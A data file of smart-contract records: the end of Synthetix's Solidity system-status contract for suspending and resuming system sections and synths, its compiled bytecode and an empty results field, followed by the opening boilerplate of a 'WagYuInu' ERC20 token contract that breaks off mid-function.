function synthSuspended(bytes32 currencyKey) external view returns (bool) {
return systemSuspension.suspended || synthSuspension[currencyKey].suspended;
}
function requireSynthActive(bytes32 currencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthActive(currencyKey);
}
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthActive(sourceCurrencyKey);
_internalRequireSynthActive(destinationCurrencyKey);
}
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
// and exchanging must be active
_internalRequireExchangeActive();
// and the synth exchanging between the synths must be active
_internalRequireSynthExchangeActive(sourceCurrencyKey);
_internalRequireSynthExchangeActive(destinationCurrencyKey);
// and finally, the synths cannot be suspended
_internalRequireSynthActive(sourceCurrencyKey);
_internalRequireSynthActive(destinationCurrencyKey);
}
function isSystemUpgrading() external view returns (bool) {
return systemSuspension.suspended && systemSuspension.reason == SUSPENSION_REASON_UPGRADE;
}
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons)
{
exchangeSuspensions = new bool[](synths.length);
reasons = new uint256[](synths.length);
for (uint i = 0; i < synths.length; i++) {
exchangeSuspensions[i] = synthExchangeSuspension[synths[i]].suspended;
reasons[i] = synthExchangeSuspension[synths[i]].reason;
}
}
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons)
{
suspensions = new bool[](synths.length);
reasons = new uint256[](synths.length);
for (uint i = 0; i < synths.length; i++) {
suspensions[i] = synthSuspension[synths[i]].suspended;
reasons[i] = synthSuspension[synths[i]].reason;
}
}
/// @notice marketKey doesn't necessarily correspond to asset key
function getFuturesMarketSuspensions(bytes32[] calldata marketKeys)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons)
{
suspensions = new bool[](marketKeys.length);
reasons = new uint256[](marketKeys.length);
for (uint i = 0; i < marketKeys.length; i++) {
suspensions[i] = futuresMarketSuspension[marketKeys[i]].suspended;
reasons[i] = futuresMarketSuspension[marketKeys[i]].reason;
}
}
/* ========== MUTATIVE FUNCTIONS ========== */
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external onlyOwner {
_internalUpdateAccessControl(section, account, canSuspend, canResume);
}
function updateAccessControls(
bytes32[] calldata sections,
address[] calldata accounts,
bool[] calldata canSuspends,
bool[] calldata canResumes
) external onlyOwner {
require(
sections.length == accounts.length &&
accounts.length == canSuspends.length &&
canSuspends.length == canResumes.length,
"Input array lengths must match"
);
for (uint i = 0; i < sections.length; i++) {
_internalUpdateAccessControl(sections[i], accounts[i], canSuspends[i], canResumes[i]);
}
}
function suspendSystem(uint256 reason) external {
_requireAccessToSuspend(SECTION_SYSTEM);
systemSuspension.suspended = true;
systemSuspension.reason = uint248(reason);
emit SystemSuspended(systemSuspension.reason);
}
function resumeSystem() external {
_requireAccessToResume(SECTION_SYSTEM);
systemSuspension.suspended = false;
emit SystemResumed(uint256(systemSuspension.reason));
systemSuspension.reason = 0;
}
function suspendIssuance(uint256 reason) external {
_requireAccessToSuspend(SECTION_ISSUANCE);
issuanceSuspension.suspended = true;
issuanceSuspension.reason = uint248(reason);
emit IssuanceSuspended(reason);
}
function resumeIssuance() external {
_requireAccessToResume(SECTION_ISSUANCE);
issuanceSuspension.suspended = false;
emit IssuanceResumed(uint256(issuanceSuspension.reason));
issuanceSuspension.reason = 0;
}
function suspendExchange(uint256 reason) external {
_requireAccessToSuspend(SECTION_EXCHANGE);
exchangeSuspension.suspended = true;
exchangeSuspension.reason = uint248(reason);
emit ExchangeSuspended(reason);
}
function resumeExchange() external {
_requireAccessToResume(SECTION_EXCHANGE);
exchangeSuspension.suspended = false;
emit ExchangeResumed(uint256(exchangeSuspension.reason));
exchangeSuspension.reason = 0;
}
function suspendFutures(uint256 reason) external {
_requireAccessToSuspend(SECTION_FUTURES);
futuresSuspension.suspended = true;
futuresSuspension.reason = uint248(reason);
emit FuturesSuspended(reason);
}
function resumeFutures() external {
_requireAccessToResume(SECTION_FUTURES);
futuresSuspension.suspended = false;
emit FuturesResumed(uint256(futuresSuspension.reason));
futuresSuspension.reason = 0;
}
/// @notice marketKey doesn't necessarily correspond to asset key
function suspendFuturesMarket(bytes32 marketKey, uint256 reason) external {
bytes32[] memory marketKeys = new bytes32[](1);
marketKeys[0] = marketKey;
_internalSuspendFuturesMarkets(marketKeys, reason);
}
/// @notice marketKey doesn't necessarily correspond to asset key
function suspendFuturesMarkets(bytes32[] calldata marketKeys, uint256 reason) external {
_internalSuspendFuturesMarkets(marketKeys, reason);
}
/// @notice marketKey doesn't necessarily correspond to asset key
function resumeFuturesMarket(bytes32 marketKey) external {
bytes32[] memory marketKeys = new bytes32[](1);
marketKeys[0] = marketKey;
_internalResumeFuturesMarkets(marketKeys);
}
/// @notice marketKey doesn't necessarily correspond to asset key
function resumeFuturesMarkets(bytes32[] calldata marketKeys) external {
_internalResumeFuturesMarkets(marketKeys);
}
function suspendSynthExchange(bytes32 currencyKey, uint256 reason) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalSuspendSynthExchange(currencyKeys, reason);
}
function suspendSynthsExchange(bytes32[] calldata currencyKeys, uint256 reason) external {
_internalSuspendSynthExchange(currencyKeys, reason);
}
function resumeSynthExchange(bytes32 currencyKey) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalResumeSynthsExchange(currencyKeys);
}
function resumeSynthsExchange(bytes32[] calldata currencyKeys) external {
_internalResumeSynthsExchange(currencyKeys);
}
function suspendSynth(bytes32 currencyKey, uint256 reason) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalSuspendSynths(currencyKeys, reason);
}
function suspendSynths(bytes32[] calldata currencyKeys, uint256 reason) external {
_internalSuspendSynths(currencyKeys, reason);
}
function resumeSynth(bytes32 currencyKey) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalResumeSynths(currencyKeys);
}
function resumeSynths(bytes32[] calldata currencyKeys) external {
_internalResumeSynths(currencyKeys);
}
/* ========== INTERNAL FUNCTIONS ========== */
function _requireAccessToSuspend(bytes32 section) internal view {
require(accessControl[section][msg.sender].canSuspend, "Restricted to access control list");
}
function _requireAccessToResume(bytes32 section) internal view {
require(accessControl[section][msg.sender].canResume, "Restricted to access control list");
}
function _internalRequireSystemActive() internal view {
require(
!systemSuspension.suspended,
systemSuspension.reason == SUSPENSION_REASON_UPGRADE
? "Synthetix is suspended, upgrade in progress... please stand by"
: "Synthetix is suspended. Operation prohibited"
);
}
function _internalRequireIssuanceActive() internal view {
require(!issuanceSuspension.suspended, "Issuance is suspended. Operation prohibited");
}
function _internalRequireExchangeActive() internal view {
require(!exchangeSuspension.suspended, "Exchange is suspended. Operation prohibited");
}
function _internalRequireFuturesActive() internal view {
require(!futuresSuspension.suspended, "Futures markets are suspended. Operation prohibited");
}
function _internalRequireSynthExchangeActive(bytes32 currencyKey) internal view {
require(!synthExchangeSuspension[currencyKey].suspended, "Synth exchange suspended. Operation prohibited");
}
function _internalRequireSynthActive(bytes32 currencyKey) internal view {
require(!synthSuspension[currencyKey].suspended, "Synth is suspended. Operation prohibited");
}
function _internalRequireFuturesMarketActive(bytes32 marketKey) internal view {
require(!futuresMarketSuspension[marketKey].suspended, "Market suspended");
}
function _internalSuspendSynths(bytes32[] memory currencyKeys, uint256 reason) internal {
_requireAccessToSuspend(SECTION_SYNTH);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
synthSuspension[currencyKey].suspended = true;
synthSuspension[currencyKey].reason = uint248(reason);
emit SynthSuspended(currencyKey, reason);
}
}
function _internalResumeSynths(bytes32[] memory currencyKeys) internal {
_requireAccessToResume(SECTION_SYNTH);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
emit SynthResumed(currencyKey, uint256(synthSuspension[currencyKey].reason));
delete synthSuspension[currencyKey];
}
}
function _internalSuspendSynthExchange(bytes32[] memory currencyKeys, uint256 reason) internal {
_requireAccessToSuspend(SECTION_SYNTH_EXCHANGE);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
synthExchangeSuspension[currencyKey].suspended = true;
synthExchangeSuspension[currencyKey].reason = uint248(reason);
emit SynthExchangeSuspended(currencyKey, reason);
}
}
function _internalResumeSynthsExchange(bytes32[] memory currencyKeys) internal {
_requireAccessToResume(SECTION_SYNTH_EXCHANGE);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
emit SynthExchangeResumed(currencyKey, uint256(synthExchangeSuspension[currencyKey].reason));
delete synthExchangeSuspension[currencyKey];
}
}
function _internalSuspendFuturesMarkets(bytes32[] memory marketKeys, uint256 reason) internal {
_requireAccessToSuspend(SECTION_FUTURES);
for (uint i = 0; i < marketKeys.length; i++) {
bytes32 marketKey = marketKeys[i];
futuresMarketSuspension[marketKey].suspended = true;
futuresMarketSuspension[marketKey].reason = uint248(reason);
emit FuturesMarketSuspended(marketKey, reason);
}
}
function _internalResumeFuturesMarkets(bytes32[] memory marketKeys) internal {
_requireAccessToResume(SECTION_FUTURES);
for (uint i = 0; i < marketKeys.length; i++) {
bytes32 marketKey = marketKeys[i];
emit FuturesMarketResumed(marketKey, uint256(futuresMarketSuspension[marketKey].reason));
delete futuresMarketSuspension[marketKey];
}
}
function _internalUpdateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) internal {
require(
section == SECTION_SYSTEM ||
section == SECTION_ISSUANCE ||
section == SECTION_EXCHANGE ||
section == SECTION_FUTURES ||
section == SECTION_SYNTH_EXCHANGE ||
section == SECTION_SYNTH,
"Invalid section supplied"
);
accessControl[section][account].canSuspend = canSuspend;
accessControl[section][account].canResume = canResume;
emit AccessControlUpdated(section, account, canSuspend, canResume);
}
/* ========== EVENTS ========== */
event SystemSuspended(uint256 reason);
event SystemResumed(uint256 reason);
event IssuanceSuspended(uint256 reason);
event IssuanceResumed(uint256 reason);
event ExchangeSuspended(uint256 reason);
event ExchangeResumed(uint256 reason);
event FuturesSuspended(uint256 reason);
event FuturesResumed(uint256 reason);
event SynthExchangeSuspended(bytes32 currencyKey, uint256 reason);
event SynthExchangeResumed(bytes32 currencyKey, uint256 reason);
event SynthSuspended(bytes32 currencyKey, uint256 reason);
event SynthResumed(bytes32 currencyKey, uint256 reason);
event FuturesMarketSuspended(bytes32 marketKey, uint256 reason);
event FuturesMarketResumed(bytes32 marketKey, uint256 reason);
event AccessControlUpdated(bytes32 indexed section, address indexed account, bool canSuspend, bool canResume);
}
|
0x608060405234801561001057600080fd5b50600436106103835760003560e01c80636309a10c116101de578063a55ce9c51161010f578063e470df58116100ad578063f405f65a1161007c578063f405f65a14610d61578063f44d1e0b14610d69578063f4c80f5e14610d71578063f8b4b08414610d8e57610383565b8063e470df5814610cb1578063e665edf014610cce578063e91e691814610d3c578063f161620714610d5957610383565b8063b9a49869116100e9578063b9a4986914610bb0578063c0eee44314610c1e578063da5917ae14610c26578063de1b885114610c4357610383565b8063a55ce9c514610b68578063abc0bb6e14610b70578063b431c0ea14610b9357610383565b80637c3125411161017c5780638da5cb5b116101565780638da5cb5b14610b1757806394c79f7414610b1f5780639f8a95ba14610b3c578063a0aad31c14610b6057610383565b80637c31254114610a845780637fe9b23d14610a8c578063856aae6c14610afa57610383565b80636ef5d841116101b85780636ef5d841146109505780637118d43114610a575780637243bc2c14610a5f57806379ba509714610a7c57610383565b80636309a10c146108bd57806367a280b2146108da57806369eaced2146108e257610383565b80632dd8afdb116102b85780634abdb44d1161025657806355585bce1161023057806355585bce1461088257806356c3da451461088a5780636132eba414610892578063614d08f8146108b557610383565b80634abdb44d146106f8578063517d60c61461070057806353a47bb71461085e57610383565b8063396e258e11610292578063396e258e1461065f57806342a28e211461067c57806348bf1971146106995780634a661850146106d557610383565b80632dd8afdb146106335780632e8d0b9e1461063b578063346cde511461065757610383565b80631ce00ba21161032557806322264567116102ff578063222645671461057d5780632366245e146105a05780632a647ab7146105a85780632be470901461061657610383565b80631ce00ba2146104a55780631f4b3401146104c857806320f2bf001461053657610383565b80631588e817116103615780631588e817146103b45780631627540c146103d1578063180113bc146103f75780631cba727c1461043757610383565b8063086dabd11461038857806312bde51414610392578063157c51d3146103ac575b600080fd5b610390610d96565b005b61039a610da0565b60408051918252519081900360200190f35b610390610dad565b610390600480360360208110156103ca57600080fd5b5035610e17565b610390600480360360208110156103e757600080fd5b50356001600160a01b0316610e82565b6104146004803603602081101561040d57600080fd5b5035610ede565b6040805192151583526001600160f81b0390911660208301528051918290030190f35b6103906004803603604081101561044d57600080fd5b810190602081018135600160201b81111561046757600080fd5b82018360208201111561047957600080fd5b803590602001918460208302840111600160201b8311171561049a57600080fd5b919350915035610f03565b610390600480360360408110156104bb57600080fd5b5080359060200135610f46565b610390600480360360208110156104de57600080fd5b810190602081018135600160201b8111156104f857600080fd5b82018360208201111561050a57600080fd5b803590602001918460208302840111600160201b8311171561052b57600080fd5b509092509050610f7e565b6105626004803603604081101561054c57600080fd5b50803590602001356001600160a01b0316610fba565b60408051921515835290151560208301528051918290030190f35b6103906004803603604081101561059357600080fd5b5080359060200135610fe3565b610414611029565b610390600480360360408110156105be57600080fd5b810190602081018135600160201b8111156105d857600080fd5b8201836020820111156105ea57600080fd5b803590602001918460208302840111600160201b8311171561060b57600080fd5b919350915035611042565b6103906004803603602081101561062c57600080fd5b5035611080565b6104146110ea565b610643611103565b604080519115158252519081900360200190f35b61041461112d565b6103906004803603602081101561067557600080fd5b5035611146565b6103906004803603602081101561069257600080fd5b50356111b1565b610390600480360360808110156106af57600080fd5b508035906001600160a01b036020820135169060408101351515906060013515156111c5565b610390600480360360408110156106eb57600080fd5b50803590602001356111df565b61039a611225565b6103906004803603608081101561071657600080fd5b810190602081018135600160201b81111561073057600080fd5b82018360208201111561074257600080fd5b803590602001918460208302840111600160201b8311171561076357600080fd5b919390929091602081019035600160201b81111561078057600080fd5b82018360208201111561079257600080fd5b803590602001918460208302840111600160201b831117156107b357600080fd5b919390929091602081019035600160201b8111156107d057600080fd5b8201836020820111156107e257600080fd5b803590602001918460208302840111600160201b8311171561080357600080fd5b919390929091602081019035600160201b81111561082057600080fd5b82018360208201111561083257600080fd5b803590602001918460208302840111600160201b8311171561085357600080fd5b509092509050611234565b610866611325565b604080516001600160a01b039092168252519081900360200190f35b610390611334565b61039a61139f565b610390600480360360408110156108a857600080fd5b50803590602001356113ad565b61039a6113b5565b610390600480360360208110156108d357600080fd5b50356113c8565b61039061140d565b610390600480360360208110156108f857600080fd5b810190602081018135600160201b81111561091257600080fd5b82018360208201111561092457600080fd5b803590602001918460208302840111600160201b8311171561094557600080fd5b509092509050611479565b6109be6004803603602081101561096657600080fd5b810190602081018135600160201b81111561098057600080fd5b82018360208201111561099257600080fd5b803590602001918460208302840111600160201b831117156109b357600080fd5b5090925090506114b5565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610a025781810151838201526020016109ea565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610a41578181015183820152602001610a29565b5050505090500194505050505060405180910390f35b6103906115de565b61041460048036036020811015610a7557600080fd5b50356115ee565b610390611613565b6103906116cf565b61039060048036036040811015610aa257600080fd5b810190602081018135600160201b811115610abc57600080fd5b820183602082011115610ace57600080fd5b803590602001918460208302840111600160201b83111715610aef57600080fd5b9193509150356116df565b61039060048036036020811015610b1057600080fd5b503561171d565b61086661173e565b61039060048036036020811015610b3557600080fd5b503561174d565b610b44611792565b604080516001600160f81b039092168252519081900360200190f35b610390611797565b61039a6117af565b61039060048036036040811015610b8657600080fd5b50803590602001356117c3565b61064360048036036020811015610ba957600080fd5b5035611809565b6109be60048036036020811015610bc657600080fd5b810190602081018135600160201b811115610be057600080fd5b820183602082011115610bf257600080fd5b803590602001918460208302840111600160201b83111715610c1357600080fd5b509092509050611831565b610643611952565b61039060048036036020811015610c3c57600080fd5b503561195b565b61039060048036036020811015610c5957600080fd5b810190602081018135600160201b811115610c7357600080fd5b820183602082011115610c8557600080fd5b803590602001918460208302840111600160201b83111715610ca657600080fd5b50909250905061196c565b61039060048036036020811015610cc757600080fd5b50356119a8565b6109be60048036036020811015610ce457600080fd5b810190602081018135600160201b811115610cfe57600080fd5b820183602082011115610d1057600080fd5b803590602001918460208302840111600160201b83111715610d3157600080fd5b509092509050611a1d565b61041460048036036020811015610d5257600080fd5b5035611b3e565b61039a611b63565b610390611b72565b61039a611bde565b61039060048036036020811015610d8757600080fd5b5035611bea565b610414611c2f565b610d9e611c48565b565b6553797374656d60d01b81565b610dbf6553797374656d60d01b611d27565b6003805460ff191690819055604080516101009092046001600160f81b03168252517fb392a95118344e8edff8eff56183afb4bb0240310c406a0fc1217d2755c66d8f916020908290030190a16003805460ff169055565b610e2b6745786368616e676560c01b611d84565b600580546001600160f81b0383166101000260ff1990911660011760ff161790556040805182815290517f078773069a9216cdb6acaa7b184785f12f62048c7ce8b7ede1bad6785de16b229181900360200190a150565b610e8a611ddc565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b60096020526000908152604090205460ff81169061010090046001600160f81b031682565b610f41838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250611e25915050565b505050565b610f4e611c48565b610f56611ed3565b610f5f82611f15565b610f6881611f15565b610f7182611f63565b610f7a81611f63565b5050565b610f7a828280806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250611fb192505050565b600260209081526000928352604080842090915290825290205460ff8082169161010090041682565b60408051600180825281830190925260609160208083019080388339019050509050828160008151811061101357fe5b602002602001018181525050610f418183612059565b60045460ff81169061010090046001600160f81b031682565b610f41838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250612059915050565b611093664675747572657360c81b611d84565b600680546001600160f81b0383166101000260ff1990911660011760ff161790556040805182815290517fbb77bf6af5bb933d0fb912130167ce25b6debb9c728f232ee4e7c181f16c8e0c9181900360200190a150565b60035460ff81169061010090046001600160f81b031682565b60035460009060ff168015611128575060035461010090046001600160f81b03166001145b905090565b60065460ff81169061010090046001600160f81b031682565b61115a6749737375616e636560c01b611d84565b600480546001600160f81b0383166101000260ff1990911660011760ff161790556040805182815290517fee8bf45d6e3141aa521ae4f0d05dfefe0327a3f23a9fbae6a64680458b34ebb89181900360200190a150565b6111b9611c48565b6111c281611f63565b50565b6111cd611ddc565b6111d984848484612101565b50505050565b60408051600180825281830190925260609160208083019080388339019050509050828160008151811061120f57fe5b602002602001018181525050610f418183611e25565b6749737375616e636560c01b81565b61123c611ddc565b868514801561124a57508483145b801561125557508281145b6112a6576040805162461bcd60e51b815260206004820152601e60248201527f496e707574206172726179206c656e67746873206d757374206d617463680000604482015290519081900360640190fd5b60005b8781101561131a576113128989838181106112c057fe5b905060200201358888848181106112d357fe5b905060200201356001600160a01b03168787858181106112ef57fe5b90506020020135151586868681811061130457fe5b905060200201351515612101565b6001016112a9565b505050505050505050565b6001546001600160a01b031681565b611347664675747572657360c81b611d27565b6006805460ff191690819055604080516101009092046001600160f81b03168252517fcbdc17547b5be7fb4a78666d4253509496561d5b1088a019865bd70d7e248fa6916020908290030190a16006805460ff169055565b664675747572657360c81b81565b610f68611c48565b6b53797374656d53746174757360a01b81565b6040805160018082528183019092526060916020808301908038833901905050905081816000815181106113f857fe5b602002602001018181525050610f7a81612247565b6114216749737375616e636560c01b611d27565b6004805460ff191690819055604080516101009092046001600160f81b03168252517f0f1a80395faba9a11017f830db5f90ad6525a1621dbfb2cbc2b6679ba5716837916020908290030190a16004805460ff169055565b610f7a82828080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061224792505050565b606080838390506040519080825280602002602001820160405280156114e5578160200160208202803883390190505b50604080518581526020808702820101909152909250838015611512578160200160208202803883390190505b50905060005b838110156115d6576009600086868481811061153057fe5b90506020020135815260200190815260200160002060000160009054906101000a900460ff1683828151811061156257fe5b911515602092830291909101909101526009600086868481811061158257fe5b90506020020135815260200190815260200160002060000160019054906101000a90046001600160f81b03166001600160f81b03168282815181106115c357fe5b6020908102919091010152600101611518565b509250929050565b6115e6611c48565b610d9e611ed3565b60086020526000908152604090205460ff81169061010090046001600160f81b031682565b6001546001600160a01b0316331461165c5760405162461bcd60e51b815260040180806020018281038252603581526020018061251d6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6116d7611c48565b610d9e6122f5565b610f41838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250612337915050565b611725611c48565b61172d611ed3565b6117356123dd565b6111c28161241f565b6000546001600160a01b031681565b60408051600180825281830190925260609160208083019080388339019050509050818160008151811061177d57fe5b602002602001018181525050610f7a81612476565b600181565b61179f611c48565b6117a7611ed3565b610d9e6123dd565b6c53796e746845786368616e676560981b81565b6040805160018082528183019092526060916020808301908038833901905050905082816000815181106117f357fe5b602002602001018181525050610f418183612337565b60035460009060ff168061182b575060008281526008602052604090205460ff165b92915050565b60608083839050604051908082528060200260200182016040528015611861578160200160208202803883390190505b5060408051858152602080870282010190915290925083801561188e578160200160208202803883390190505b50905060005b838110156115d657600860008686848181106118ac57fe5b90506020020135815260200190815260200160002060000160009054906101000a900460ff168382815181106118de57fe5b91151560209283029190910190910152600860008686848181106118fe57fe5b90506020020135815260200190815260200160002060000160019054906101000a90046001600160f81b03166001600160f81b031682828151811061193f57fe5b6020908102919091010152600101611894565b60035460ff1690565b611963611c48565b6111c281611f15565b610f7a82828080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061247692505050565b6119ba6553797374656d60d01b611d84565b600380546001600160f81b0380841661010090810260ff1990931660011760ff169290921792839055604080519290930416815290517f86b7ed06c3a2c3763514d475ced33f9ac8b1bb8f028ded18de0100b7678f3c4f9181900360200190a150565b60608083839050604051908082528060200260200182016040528015611a4d578160200160208202803883390190505b50604080518581526020808702820101909152909250838015611a7a578160200160208202803883390190505b50905060005b838110156115d65760076000868684818110611a9857fe5b90506020020135815260200190815260200160002060000160009054906101000a900460ff16838281518110611aca57fe5b9115156020928302919091019091015260076000868684818110611aea57fe5b90506020020135815260200190815260200160002060000160019054906101000a90046001600160f81b03166001600160f81b0316828281518110611b2b57fe5b6020908102919091010152600101611a80565b60076020526000908152604090205460ff81169061010090046001600160f81b031682565b6745786368616e676560c01b81565b611b866745786368616e676560c01b611d27565b6005805460ff191690819055604080516101009092046001600160f81b03168252517f07966fe79d35c7abf1f3b2ad9970ea24cae0f11406e283e848e3e6608ae3c214916020908290030190a16005805460ff169055565b640a6f2dce8d60db1b81565b604080516001808252818301909252606091602080830190803883390190505090508181600081518110611c1a57fe5b602002602001018181525050610f7a81611fb1565b60055460ff81169061010090046001600160f81b031682565b60035460ff8116159061010090046001600160f81b0316600114611c84576040518060600160405280602c8152602001612659602c9139611c9e565b6040518060600160405280603e8152602001612685603e91395b906111c25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cec578181015183820152602001611cd4565b50505050905090810190601f168015611d195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000818152600260209081526040808320338452909152902054610100900460ff166111c25760405162461bcd60e51b81526004018080602001828103825260218152602001806126386021913960400191505060405180910390fd5b600081815260026020908152604080832033845290915290205460ff166111c25760405162461bcd60e51b81526004018080602001828103825260218152602001806126386021913960400191505060405180910390fd5b6000546001600160a01b03163314610d9e5760405162461bcd60e51b815260040180806020018281038252602f8152602001806125de602f913960400191505060405180910390fd5b611e3e6c53796e746845786368616e676560981b611d84565b60005b8251811015610f41576000838281518110611e5857fe5b60209081029190910181015160008181526007835260409081902080546001600160f81b0388166101000260ff1990911660011760ff16179055805182815292830186905280519193507fcea0da706e9f2a6a1cb56cdab42ac548791339f1710deadf814f15fc0a6a7114928290030190a150600101611e41565b60055460ff1615610d9e5760405162461bcd60e51b815260040180806020018281038252602b81526020018061260d602b913960400191505060405180910390fd5b60008181526007602052604090205460ff16156111c25760405162461bcd60e51b815260040180806020018281038252602e81526020018061257d602e913960400191505060405180910390fd5b60008181526008602052604090205460ff16156111c25760405162461bcd60e51b81526004018080602001828103825260288152602001806126c36028913960400191505060405180910390fd5b611fc4664675747572657360c81b611d27565b60005b8151811015610f7a576000828281518110611fde57fe5b6020908102919091018101516000818152600983526040908190205481518381526101009091046001600160f81b03169381019390935280519193507f250fcb5d34afaf9bc18ec9ca0bf709e0f2ecb8ae4d4a3a616c0bf54b2ddf53e6928290030190a1600090815260096020526040812055600101611fc7565b61206c664675747572657360c81b611d84565b60005b8251811015610f4157600083828151811061208657fe5b60209081029190910181015160008181526009835260409081902080546001600160f81b0388166101000260ff1990911660011760ff16179055805182815292830186905280519193507fcaa561b71353382b62092c429c14613b5db8f9c5f3a27cb51df16e51f350f8ca928290030190a15060010161206f565b6553797374656d60d01b84148061212257506749737375616e636560c01b84145b8061213757506745786368616e676560c01b84145b8061214b5750664675747572657360c81b84145b8061216557506c53796e746845786368616e676560981b84145b806121775750640a6f2dce8d60db1b84145b6121c8576040805162461bcd60e51b815260206004820152601860248201527f496e76616c69642073656374696f6e20737570706c6965640000000000000000604482015290519081900360640190fd5b60008481526002602090815260408083206001600160a01b038716808552908352928190208054851515610100810261ff001989151560ff1990941684171617909255825190815292830152805187927f95bad30f8fe717e4a02906d7b05a6f90698c7135cd053e5b6d5239146b4c40d192908290030190a350505050565b6122606c53796e746845786368616e676560981b611d27565b60005b8151811015610f7a57600082828151811061227a57fe5b6020908102919091018101516000818152600783526040908190205481518381526101009091046001600160f81b03169381019390935280519193507f91037f810fbf9c3c6d5573650d27de6b5e8d2187698822700d4524102472bc08928290030190a1600090815260076020526040812055600101612263565b60045460ff1615610d9e5760405162461bcd60e51b815260040180806020018281038252602b815260200180612552602b913960400191505060405180910390fd5b612348640a6f2dce8d60db1b611d84565b60005b8251811015610f4157600083828151811061236257fe5b60209081029190910181015160008181526008835260409081902080546001600160f81b0388166101000260ff1990911660011760ff16179055805182815292830186905280519193507f9cca506f9028bbcc0d976db0eaf80dfe6a6d7cadd99024edd88f690e1eda5541928290030190a15060010161234b565b60065460ff1615610d9e5760405162461bcd60e51b81526004018080602001828103825260338152602001806125ab6033913960400191505060405180910390fd5b60008181526009602052604090205460ff16156111c2576040805162461bcd60e51b815260206004820152601060248201526f13585c9ad95d081cdd5cdc195b99195960821b604482015290519081900360640190fd5b612487640a6f2dce8d60db1b611d27565b60005b8151811015610f7a5760008282815181106124a157fe5b6020908102919091018101516000818152600883526040908190205481518381526101009091046001600160f81b03169381019390935280519193507f691b6c9654fa1f01847f7e98a061557ca10378bb9670782b60ed13891703d220928290030190a160009081526008602052604081205560010161248a56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e65727368697049737375616e63652069732073757370656e6465642e204f7065726174696f6e2070726f6869626974656453796e74682065786368616e67652073757370656e6465642e204f7065726174696f6e2070726f6869626974656446757475726573206d61726b657473206172652073757370656e6465642e204f7065726174696f6e2070726f686962697465644f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e45786368616e67652069732073757370656e6465642e204f7065726174696f6e2070726f686962697465645265737472696374656420746f2061636365737320636f6e74726f6c206c69737453796e7468657469782069732073757370656e6465642e204f7065726174696f6e2070726f6869626974656453796e7468657469782069732073757370656e6465642c207570677261646520696e2070726f67726573732e2e2e20706c65617365207374616e6420627953796e74682069732073757370656e6465642e204f7065726174696f6e2070726f68696269746564a265627a7a723158202225676251b5f53c6aeb0b703bd197b625c299226f79ad58e087f41a4b1e20ad64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 6,033 |
0xa1622d9a05e7f6bb6839d90bab59551bf934571a
|
// SPDX-License-Identifier: Unlicensed
//TG @WagYuInu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
